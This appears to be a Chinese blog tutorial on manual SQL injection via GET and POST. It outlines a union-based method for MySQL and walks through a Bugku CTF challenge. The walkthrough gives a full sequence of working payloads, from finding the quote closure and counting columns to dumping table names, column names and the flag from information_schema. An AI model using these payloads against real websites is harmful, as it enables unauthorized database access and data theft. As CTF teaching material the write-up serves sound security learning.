SQL注入之GET与POST手工注入
SQL注入原理:
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(源自百度百科)
SQL注入的分类:
按数据提交类型可分为:

SQL注入的防御:

GET和POST型手工注入步骤:
在MySQL数据库5.0版本以上都会包含一个information_schema数据库,其结构如下:

对于GET型和POST型,我们可以利用数据库的联合查询爆出想要的数据库信息,其步骤一般分为七步:
(1)求闭合字符。一般SQL语句的闭合形式有以下几种:
select * from user where id= 1; #整形闭合 select * from user where id='1'; #单引号闭合 select * from user where id="1"; #双引号闭合 select * from user where id=('1'); #单引号加括号 select * from user where id=("1"); #双引号加括号
(2)求列数。一般使用order by语句求列数。
(3)求显示位。使用联合查询求显示位。
(4)爆数据库名。利用database()函数爆出数据库名。
(5)爆表名。利用group_concat()函数返回table_name。
group_concat()函数的作用是将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
(6)爆列名。利用group_concat()函数返回column_name。
(7)爆字段名。利用group_concat()函数返回结果。
简单的POST注入实验:
题目来源:Bugku CTF
使用工具:Firefox浏览器,Hackbar插件
注入使用的语句(GET型手工注入的方法与此类似):
id=1' and 1=1-- - #求闭合字符 id=1' and 1=1 order by 1,2,3,4-- - #求列数 id=4' and 1=1 union select 1,2,3,4-- - #求显示位
id=4' and 1=1 union select 1,2,3,version() #爆数据库版本 id=4' and 1=1 union select 1,2,database(),4-- - #爆数据库名 id=4' and 1=1 union select 1,2,database(),group_concat(table_name) from information_schema.tables where table_schema=database()-- - #爆表名 id=4' and 1=1 union select 1,2,database(),group_concat(column_name) from information_schema.columns where table_schema=database()-- - #爆列名 id=4' and 1=1 union select 1,2,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'-- - id=4' and 1=1 union select 1,2,database(),group_concat(skctf_flag) from fl4g-- - 表名:fl4g,sc 列名:skctf_flag,id,name,math,english,chinese fl4g表中的列名:skctf_flag
步骤:
1.打开网站,发现输入数字可以显示学生成绩

2.使用Hackbar查看post data,输入id=1,发现可以查看到id为1学生的成绩信息

3.输入 ' 发现正常显示id=1时的页面,闭合字符为 '

4.输入 and 1=2 和 and 1=1 -- -查看显示页面(-- -为注释符)

5.使用order by语句判断列数,从order by 1开始判断,发现当输入order by 1,2,3,4,5时无法正常显示成绩,可判断列数为4

6.判断显示位,利用联合查询输入id=4' and 1=1 union select 1,2,3,4-- -,并使用version()函数爆出数据库版本(注意:前方的id要改为不能查询到成绩的id,这样后面才能显示出需要的信息)

7.使用database()函数爆出数据库名

8.使用group_concat()函数爆出表名

9.爆出所有表的列名

10.爆出fl4g表中的列名

11.爆出skctf_flag的字段名,得到flag


浙公网安备 33010602011771号